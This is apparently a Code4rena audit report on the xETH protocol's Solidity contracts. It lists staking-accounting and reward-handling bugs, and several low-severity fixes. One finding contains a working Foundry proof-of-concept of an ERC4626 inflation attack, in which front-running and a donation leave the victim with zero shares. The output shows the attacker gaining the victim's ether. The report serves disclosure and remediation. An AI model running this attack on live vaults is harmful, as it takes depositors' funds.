xETH - Versus Contest - bin2chen's results

Lines of code

https://github.com/code-423n4/2023-05-xeth/blob/d86fe0a9959c2b43c62716240d981ae95224e49e/src/CVXStaker.sol#L205

Vulnerability details

Impact

stakedBalance() maybe return wrong number,Causes AMO.sol not to work properly

Proof of Concept

stakedBalance() use for get the current staked balance of CVXStaker

The code is as follows:

    function stakedBalance() public view returns (uint256 balance) {
        balance = IBaseRewardPool(cvxPoolInfo.rewards).balanceOf(address(this));
    }

From the above code we can see that this method only considers the stake balance in convex and does not add the number of clpToken stored in CVXStaker contract If isCvxShutdown()==true, it will leave clpToken in the CVXStaker contract Or withdrawAllAndUnwrap() may also leave clpToken in the CVXStaker contract

Since these balances are not counted, in AMO.rebalanceUp(),removeLiquidity,removeLiquidityOnlyStETH may not work properly, because the balance may be sufficient, but still revert Take rebalanceUp() as an example:

    function rebalanceUp(
        RebalanceUpQuote memory quote
    )
....

        uint256 amoLpBal = cvxStaker.stakedBalance();

        if (quote.lpBurn > amoLpBal) revert LpBalanceTooLow();  //<-------@audit The balance is sufficient but cannot be executed because stakedBalance() is incorrect

Tools Used

Recommended Mitigation Steps

Modify stakedBalance() to add the clpToken that exists in the contract

    function stakedBalance() public view returns (uint256 balance) {
-       balance = IBaseRewardPool(cvxPoolInfo.rewards).balanceOf(address(this));
+       return clpToken.balanceOf(address(this)) + IBaseRewardPool(cvxPoolInfo.rewards).balanceOf(address(this));
    }

Assessed type

Context

Judge has assessed an item in Issue #11 as 2 risk. The relevant finding follows:

L-03:getReward() It is recommended to add balance>0 before executing transfer

getReward() will do a transfer on rewaredsToken Since the rewards are from convex, we can't be sure what kind of token it is. we can't be sure what kind of token it is, currently, some tokens will fail if the transfer amount=0 This will result in other tokens not being transferred out as well

Suggest adding non-zero judgment

function getReward(bool claimExtras) external { IBaseRewardPool(cvxPoolInfo.rewards).getReward( address(this), claimExtras ); if (rewardsRecipient != address(0)) { for (uint i = 0; i < rewardTokens.length; i++) { uint256 balance = IERC20(rewardTokens[i]).balanceOf( address(this) );

•           if (balance >0){
              IERC20(rewardTokens[i]).safeTransfer(rewardsRecipient, balance);
  

•           }                
        }
    }
  

  }

Lines of code

https://github.com/code-423n4/2023-05-xeth/blob/d86fe0a9959c2b43c62716240d981ae95224e49e/src/wxETH.sol#L212

Vulnerability details

Impact

The first staker may suffer an Inflation Attack and lose the funds

Proof of Concept

Currently wxETH still has the common ERC4626 'Inflation Attack'

malicious users can front-run the first staker, raise exchange rates through donations, then achieve Inflation Attack

    function exchangeRate() public view returns (uint256) {
        /// @dev if there are no tokens minted, return the initial exchange rate
        uint256 _totalSupply = totalSupply();
        if (_totalSupply == 0) {
            return INITIAL_EXCHANGE_RATE;
        }

        /// @dev calculate the cash on hand by removing locked funds from the total xETH balance
        /// @notice this balanceOf call will include any lockedFunds,
        /// @notice as the locked funds are also in xETH
        uint256 cashMinusLocked = xETH.balanceOf(address(this)) - lockedFunds;   //<------@audit from balance

        /// @dev return the exchange rate by dividing the cash on hand by the total supply
        return (cashMinusLocked * BASE_UNIT) / _totalSupply;
    }

Suppose wxETH is currently empty stake

1. bob executes stake(), amount=1 ether , transaction enter memorypool
2. alice monitor memorypool, front-run bob
3. alice executes stake 1 ether, then unstake(1 ether - 1), remaining 1 shares
4. alice donates xETH to wxETH (direct transfer(wxETH)), thus increasing the exchange rate to 2 ether
5. turn to execute bob's transaction, because the exchange rate is too high, round down, get 0 shares
6. Result: bob loses 1 ether

Here is the sample code:

add to wxETH.t.sol

    function testAttack() public {
        //0.give alice 2 ether and bob 1 ether
        address alice = users[2];
        address bob = users[3];
        vm.startPrank(owner);
        xETH.transfer(alice, 2 ether);
        xETH.transfer(bob, 1 ether);
        vm.stopPrank();

        //1.alice front-run bob, raise exchange rate
        vm.startPrank(alice);
        xETH.approve(address(wxETH), 2 ether);
        wxETH.stake(1 ether);
        //1.1 unstake then remaining 1 shares
        wxETH.unstake(wxETH.balanceOf(alice) - 1);
        //1.2 donate to raise exchange rate
        xETH.transfer(address(wxETH), xETH.balanceOf(alice));
        console.log("alice shares:", wxETH.balanceOf(alice));
        console.log("currnet exchangeRate:", wxETH.exchangeRate());
        console.log(
            "previewStake 1 eth get shares:",
            wxETH.previewStake(1 ether)
        );
        vm.stopPrank();
        //2. bob stake 1 eth ,but get 0 shares , lost 1 ether
        vm.startPrank(bob);
        console.log("before stake bob xEth:", xETH.balanceOf(bob));
        console.log("before stake bob wxETH:", wxETH.balanceOf(bob));
        xETH.approve(address(wxETH), 1 ether);
        //2.1 stake 1 ether ,  get 0 shares
        uint256 bobGetshares = wxETH.stake(1 ether);
        console.log("stake() return:", bobGetshares);
        console.log("after stake bob xEth balance:", xETH.balanceOf(bob));
        console.log("after stake bob wxETH shares:", wxETH.balanceOf(bob));
        console.log("after stake alice wxETH shares:", wxETH.balanceOf(alice));
        console.log(
            "after stake alice can unstake get xETH:",
            wxETH.previewUnstake(wxETH.balanceOf(alice))
        );
        vm.stopPrank();
    }

$ forge test --match testAttack -vvv -f https://eth-mainnet.g.alchemy.com/v2/xxxxxx


Running 1 test for test/wxETH.t.sol:AMOAdminTest
[PASS] testAttack() (gas: 214611)
Logs:
  alice shares: 1
  currnet exchangeRate: 2000000000000000000000000000000000000
  previewStake 1 eth get shares: 0
  before stake bob xEth: 1000000000000000000
  before stake bob wxETH: 0
  stake() return: 0
  after stake bob xEth balance: 0
  after stake bob wxETH shares: 0
  after stake alice wxETH shares: 1
  after stake alice can unstake get xETH: 3000000000000000000

Test result: ok. 1 passed; 0 failed; finished in 6.40s

Tools Used

Recommended Mitigation Steps

It is recommended to refer to the new 4.9.0 release of OpenZeppelin, which has a special version of ERC4626 'Inflation Attack' for this

https://twitter.com/OpenZeppelin/status/1656066698410328064?s=20

Assessed type

Context

Lines of code

https://github.com/code-423n4/2023-05-xeth/blob/d86fe0a9959c2b43c62716240d981ae95224e49e/src/CVXStaker.sol#L191-L196

Vulnerability details

Impact

The lack of a mechanism to modify rewardTokens[] If convex adds new extraRewards CVXStaker.sol cannot transfer the added token

Proof of Concept

CVXStaker.sol will pass in rewardTokens[] in constructor and in getReward(), loop this array to transfer rewardTokens

    function getReward(bool claimExtras) external {
        IBaseRewardPool(cvxPoolInfo.rewards).getReward(
            address(this),
            claimExtras
        );
        if (rewardsRecipient != address(0)) {
            for (uint i = 0; i < rewardTokens.length; i++) { //<--------@audit loop, then tranfer out
                uint256 balance = IERC20(rewardTokens[i]).balanceOf(
                    address(this)
                );
                IERC20(rewardTokens[i]).safeTransfer(rewardsRecipient, balance);
            }
        }
    }

The main problem is that this rewardTokens[] does not provide a way to modify it But it is possible to add a new rewardsToken in convex

The following code is from BaseRewardPool.sol of convex

https://github.com/convex-eth/platform/blob/main/contracts/contracts/BaseRewardPool.sol#L238

    function addExtraReward(address _reward) external returns(bool){
        require(msg.sender == rewardManager, "!authorized");
        require(_reward != address(0),"!reward setting");

        extraRewards.push(_reward);
        return true;
    }

This will result in a situation : if new extraRewards are added to IBaseRewardPool later on But since the rewardTokens of CVXStaker cannot be modified (e.g. added), then the new extraRewards cannot be transferred out of CVXStaker. After IBaseRewardPool(cvxPoolInfo.rewards).getReward(), the newly added token can only stay in the CVXStaker contract.

Tools Used

Recommended Mitigation Steps

Add a new method to modifyCVXStaker.rewardTokens[]

Assessed type

Context

Lines of code

https://github.com/code-423n4/2023-05-xeth/blob/d86fe0a9959c2b43c62716240d981ae95224e49e/src/CVXStaker.sol#L177

Vulnerability details

Impact

in withdrawAllAndUnwrap() the clpToken transfer to AMO.sol may be locked in the contract

Proof of Concept

withdrawAllAndUnwrap() You can specify sendToOperator==true to transfer the clpToken to operator

The code is as follows:

    function withdrawAllAndUnwrap(
        bool claim,
        bool sendToOperator
    ) external onlyOwner {
        IBaseRewardPool(cvxPoolInfo.rewards).withdrawAllAndUnwrap(claim);
        if (sendToOperator) {
            uint256 totalBalance = clpToken.balanceOf(address(this));
            clpToken.safeTransfer(operator, totalBalance); //<------@audit transfer to operator (AMO)
        }
    }

current protocols, operator is currently set to AMO.sol as normal

But AMO.sol doesn't have any way to use the transferred clpToken The reason is that in AMO.sol, the method that transfers the clpToken, the number of transfers is from the newly generated clpToken from curvePool

It doesn't include clpToken that already exists in AMO.sol contract, for example (rebalanceDown/addLiquidity/addLiquidityOnlyStETH)

example rebalanceDown:

    function rebalanceDown(
        RebalanceDownQuote memory quote
    )
...

        lpAmountOut = curvePool.add_liquidity(amounts, quote.minLpReceived);

        IERC20(address(curvePool)).safeTransfer(
            address(cvxStaker),
            lpAmountOut //<---------@audit this clpToken from curvePool
        );
        cvxStaker.depositAndStake(lpAmountOut);    

So the clpToken transferred to 'AMO.sol' by withdrawAllAndUnwrap() will stays in the AMO contract and it is be locked.

Tools Used

Recommended Mitigation Steps

modify withdrawAllAndUnwrap() , directly transfer to msg.sender.

Assessed type

Context

L-01:setRebalanceUpThreshold() need to add a restriction not less than REBALANCE_DOWN_THRESHOLD

In preRebalanceCheck() it will determine if isRebalanceUp based on REBALANCE_UP_THRESHOLD/ and REBALANCE_DOWN_THRESHOLD So theoretically, the values of REBALANCE_UP_THRESHOLD/ and REBALANCE_DOWN_THRESHOLD cannot overlap Avoid the overlapping part of rebalanceDown from being executed

    function setRebalanceUpThreshold(
        uint256 newRebalanceUpThreshold
    ) external onlyRole(DEFAULT_ADMIN_ROLE) {
        emit SetRebalanceUpThreshold(
            REBALANCE_UP_THRESHOLD,
            newRebalanceUpThreshold
        );
+       require(newRebalanceUpThreshold>REBALANCE_DOWN_THRESHOLD,"bad");

        REBALANCE_UP_THRESHOLD = newRebalanceUpThreshold;
    }

L-02: L-02:setRebalanceDownThreshold() needs to add a restriction that the value set cannot be greater than REBALANCE_DOWN_THRESHOLD

Similar to the description of L-01, setRebalanceDownThreshold()' should be restricted to be no greater than REBALANCE_DOWN_THRESHOLD`.

    function setRebalanceDownThreshold(
        uint256 newRebalanceDownThreshold
    ) external onlyRole(DEFAULT_ADMIN_ROLE) {
        emit SetRebalanceDownThreshold(
            REBALANCE_DOWN_THRESHOLD,
            newRebalanceDownThreshold
        );
+       require(newRebalanceDownThreshold < REBALANCE_UP_THRESHOLD);
        REBALANCE_DOWN_THRESHOLD = newRebalanceDownThreshold;
    }

L-03:getReward() It is recommended to add balance>0 before executing transfer

getReward() will do a transfer on rewaredsToken Since the rewards are from convex, we can't be sure what kind of token it is. we can't be sure what kind of token it is, currently, some tokens will fail if the transfer amount=0 This will result in other tokens not being transferred out as well

Suggest adding non-zero judgment

   function getReward(bool claimExtras) external {
        IBaseRewardPool(cvxPoolInfo.rewards).getReward(
            address(this),
            claimExtras
        );
        if (rewardsRecipient != address(0)) {
            for (uint i = 0; i < rewardTokens.length; i++) {
                uint256 balance = IERC20(rewardTokens[i]).balanceOf(
                    address(this)
                );
+               if (balance >0){
                  IERC20(rewardTokens[i]).safeTransfer(rewardsRecipient, balance);
+               }                
            }
        }
    }

L-04:setAMO() needs to be added to determine if the old and new are not the same

If the old is the same as the new, then revert, to avoid passing in the old as the new and thinking it is set as the new

    function setAMO(address newAMO) external onlyRole(DEFAULT_ADMIN_ROLE) {
        /// @dev if the new AMO is address(0), revert
        if (newAMO == address(0)) {
            revert AddressZeroProvided();
        }

+      require(newMAO !=curveAMO,"same");
...

L-05:withdrawAllAndUnwrap() suggests adding operator!=address(0) operator is modifiable, and there is no restriction == address(0) So it is recommended to add judgment to avoid turning to address(0)

    function withdrawAllAndUnwrap(
        bool claim,
        bool sendToOperator
    ) external onlyOwner {
        IBaseRewardPool(cvxPoolInfo.rewards).withdrawAllAndUnwrap(claim);
        if (sendToOperator) {
            uint256 totalBalance = clpToken.balanceOf(address(this));
+           require(operator!=address(0));
            clpToken.safeTransfer(operator, totalBalance);
        }
    }

L-06:removeLiquidityOnlyStETH() The minAmounts variable is not used and is recommended to be deleted

    function removeLiquidityOnlyStETH(
        uint256 lpAmount,
        uint256 minStETHOut
    ) external onlyRole(DEFAULT_ADMIN_ROLE) {

-       uint256[2] memory minAmounts;

-       minAmounts[stETHIndex] = minStETHOut;

L-07:rebalanceUp()/rebalanceDown() suggest restricting msg.sender==defender

The current permission restriction for rebalanceUp()/rebalanceDown() is via onlyRole(REBALANCE_DEFENDER_ROLE) But this permission administrator can give authorization to anyone via grantRole(), and not generate emit DefenderUpdated event So it is recommended to determine whether msg.sender==defender is more rigorous

L-08:stopDrip() It is recommended to remove the dripEnabled restrict

stopDrip() will execute drip->_accrueDrip() first It is possible that _accrueDrip() will set dripEnabled to true But stopDrip() will determine that dripEnabled can't be true, so it can't be set.

feel that judging dripEnabled doesn't make much sense and may cause failure, so I suggest removing it.

    function stopDrip() external onlyOwner drip {

...        
-     if (!dripEnabled) revert DripAlreadyStopped();//maybe `drip` let it become false in this transcation